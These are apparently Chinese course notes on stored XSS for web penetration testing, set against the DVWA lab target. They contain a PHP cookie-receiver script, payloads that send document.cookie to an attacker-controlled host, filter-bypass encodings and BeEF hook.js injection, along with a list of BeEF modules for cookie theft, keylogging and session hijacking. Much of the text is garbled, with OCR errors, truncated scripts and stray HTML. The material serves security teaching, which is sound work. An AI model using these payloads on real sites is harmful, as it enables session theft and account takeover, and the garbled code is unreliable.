开发者学堂课程【网络安全攻防 - Web渗透测试:XSS 跨站脚本攻击_3】学习笔记,与课程紧密联系,让用户快速学习知识。
课程地址:https://developer.aliyun.com/learning/course/630/detail/9913
XSS 跨站脚本攻击_2
内容介绍
一、 存储型 XSS
二、 构造 XSS 脚本
三、 自动化 XSS
一、 存储型 XSS
存储型 XSS(持久型 XSS)即攻击者将带有 XSS 攻击的链接放在网页的某个页面,例如评论框等;用户访问此 XSS 链接并执行,由于存储型 XS5 能够攻击所有访问此页面的用户,所以危害非常
1. 手工【低】
1) 攻击1 弹框告警:渗透机 kali Linux 端操作
text1
alert(‘<span>yangge')
2) 攻击2 获取 cookie:渗透机 Kali Linux 端操作
a) 构建收集 cookie 服务器
b) 构造 XSS 代码并植入到 Web 服务器
c) 等待肉鸡触发 XSS 代码并将 cookie 发送到 Kali
d) Cookie 利用
3) root@kali:~#[vim /var/www/html/cookie_rec.php
$cookie = $_GET['cookie'];
$log一fopen(cookie.txt","a")
fwrite($log, $cookle "\n");
fclose($log);
?>
root@kali:# chown -R www-data.www-data /var/www/
2. 通过渗透机植入 XSS 代码:
(script>window.open('http://192.168.106
14d/cookierec.php?cookle-"+document.cookle)
注:192.168.106.140 为 kali Linux IP
注:先清除之前植入的 XS5代码
二、构造 XSS 脚本
1. 弹框警告
此脚本实现弹框提示,一般作为漏洞测试或者演示使用,类似 SQL 注入漏洞测试中的单引号‘,一旦此新本能执行,也就拿味着后端服务器没有对特殊字符做过滤<>/”这样就可以证明,这个页面位置存在了XSS漏洞。
alert('xss')
alert(document.cookie)
2. 页面嵌套
3. 页面重定向
window.location="http://www.qfedu.com"
location.href="http://www.baidu.com"
4. 弹框警告并重定向
alert("请移步到我们的新站”);location.hre</span></code></div><div><code><span class="lake-fontsize-1515">/www.qfedu.com"
alert('xss');location.href="http://1e 35/mutillidae/robots.txt"
这里结合了一些社工的思路,例如,通过网站内部私信的方式将其发给其他用户。如果其他用户点击并且相信了这个信息,则可能在另外的站点重新登录账户 (克隆网站收集账户)
5. 访问恶意代码
s/script></span></code><span class="lake-fontsize-1515"> #结合 BeEF 收集用户的 cookie</span></div><div><strong><span class="lake-fontsize-1515">6. 巧用图片标签</span></strong></div><div><code><span class="lake-fontsize-1515">< img src="#”onerror=alert('xss')></span></code></div><div><code><span class="lake-fontsize-1515"><ing src="javascript:alert('xss');"></span></code></div><div><code><span class="lake-fontsize-1515">< img src="http://BeEF_IP:3000/hook.js"></img></span></code></div><div><strong><span class="lake-fontsize-1515">7. 绕开过滤的脚本</span></strong></div><div><span class="lake-fontsize-1515">大小写 <ScrIpt>alert('xss')
字符编码 采用 URL、Base64等编码
href=”¦ava8#115cr8#105pt:a8#108Ϻ#114;8#1168#40;"xss");">yangge
8. 收集用户 cookie
打开新窗口并且采用本地 cookie 访问目标网页,打开新窗口并且采用本地 cookie 访问目标网页。
window.open("http://www.hacker.com/cookie.php?cookie="+document.cookie)document.location="http://www.hacker.com/cookie.php?cookie="+document.cookie
new Image().src="http://www.hacker.com/cookie.php?cookie-"+document.cookie;
new Image().src="http://www.hacker.com/cookie.php?cookie=adocument ing.width = 0;</span></code></div><div><code><span class="lake-fontsize-1515">img.height =0;</span></code></div><div><code><span class="lake-fontsize-1515">
三、自动化 XSS
1. Browser Exploitation Framework (BeEF)
BeEF 是目前最强大的浏览器开源渗透测试框架,通过 XSS 漏洞配合 JS 脚本和 Metasploit 进行渗透;
BeEF 是基于 Ruby 语言编写的,并且支持图形化界面,操作简单;
1)信息收集:
1.网络发现
2.主机信息
3. Cookie 获取
4.会话劫持
5.键盘记录
6.插件信息
2)持久化控制:
1. 确认弹框
2. 小窗口
3.中间人
3)社会工程
1. 点击劫持
2. 弹窗告警
3. 虚假页面
4. 钓鱼页面
4)渗透攻击:
1.内网渗透
2. Metasploit
3.CSRF 攻击
4. DDOS 攻击
2.BeEF 基础
1)启动 Apache 和 BeEF:
root@kali:~# service apache2 start
</span></code></div><div><span class="lake-fontsize-1515" style="color: #000000;">注:192.168.106.140为 BeEF 所在机器,即 Kali Linux IP</span></div><div><span class="lake-fontsize-1515" style="color: #000000;">2)登录 BeEF:</span></div><div><code><span class="lake-fontsize-1515" style="color: #000000;">username:beef</span></code></div><div><code><span class="lake-fontsize-1515" style="color: #000000;">password:beef</span></code></div><div><span class="lake-fontsize-1515" style="color: #000000;"><span data-card-type="inline" data-ready-card="image" data-card-value="data:%7B%22src%22%3A%22https%3A%2F%2Fucc.alicdn.com%2Fpic%2Fdeveloper-ecology%2F220bc2516ced40a9bac2902073c657d2.png%22%2C%22originWidth%22%3A865%2C%22originHeight%22%3A502%2C%22name%22%3A%22image.png%22%2C%22size%22%3A532725%2C%22display%22%3A%22inline%22%2C%22align%22%3A%22left%22%2C%22linkTarget%22%3A%22_blank%22%2C%22status%22%3A%22done%22%2C%22style%22%3A%22none%22%2C%22search%22%3A%22%22%2C%22margin%22%3A%7B%22top%22%3Atrue%2C%22bottom%22%3Atrue%7D%2C%22width%22%3A865%2C%22height%22%3A502%7D"></span></span></div><div><span class="lake-fontsize-1515">渗透机将脚本放在 <span>DWVA </span>靶机中:</span></div><div><code><span class="lake-fontsize-1515"><script src="http://192.168.106.140:3000/hook.js">x/scr</span></code></div><div><span class="lake-fontsize-1515">注:<span>192.168.106.140</span>为 <span>BeEF </span>所在机器,即 <span>Kali Linux,IP</span></span></div><div><span class="lake-fontsize-1515">注:需修改字符数的限制,例如为<span>200</span></span></div><div><span class="lake-fontsize-1515"><span>1. </span></span><span class="lake-fontsize-1515">信息收集</span></div><div><span class="lake-fontsize-1515">命令颜色<span>(Color)</span>:</span></div><div><span class="lake-fontsize-1515">绿色对目标主机生效并且不可见<span>(</span>不会被发现<span>)</span></span></div><div><span class="lake-fontsize-1515">橙色对目标主机生效但可能可见<span>(</span>可能被发现<span>)</span></span></div><div><span class="lake-fontsize-1515">灰色对目标主机未必生效<span>(</span>可验证下<span>)</span></span></div><div><span class="lake-fontsize-1515">红色对目标主机不生效</span></div><div><span class="lake-fontsize-1515">Get Cookie </span><span class="lake-fontsize-1515">获取信息</span></div><div><span class="lake-fontsize-1515">Get From Cookie </span><span class="lake-fontsize-1515">获取值</span></div><div><span class="lake-fontsize-1515">Get Page HREFs </span><span class="lake-fontsize-1515">获取页面链接</span></div><div><span class="lake-fontsize-1515">Get Page HTML </span><span class="lake-fontsize-1515">获取页面 <span>HTML</span></span></div><div><span class="lake-fontsize-1515">Replace HREFs 替换页面连接</span></div><div><span class="lake-fontsize-1515">Replace HREFs</span><span class="lake-fontsize-1515">(<span>Click Events</span>)</span></div><div><span class="lake-fontsize-1515">该模块将使用 <span>Bilawal Hameed </span>更新点击事件处理来重写所有匹配链接的所有 <span>href </span>属性,这将隐藏所有更新链接的目标站点。</span></div><div><span class="lake-fontsize-1515">Replace HREFs</span><span class="lake-fontsize-1515">(<span>HTTPS</span>)</span></div><div><span class="lake-fontsize-1515">此模块将重写<span>HTTPS</span>链接的所有<span>href</span>属性以使用 <span>HTTPS</span>,不会重写相对于 <span>web </span>根目录的链接。</span></div><div><span class="lake-fontsize-1515">Replace HREFs</span><span class="lake-fontsize-1515">(<span>TEL</span>)</span></div><div><span class="lake-fontsize-1515">该模块重写<span>HTTPS</span>链接的所有电话链接的 <span>href </span>属性。</span></div>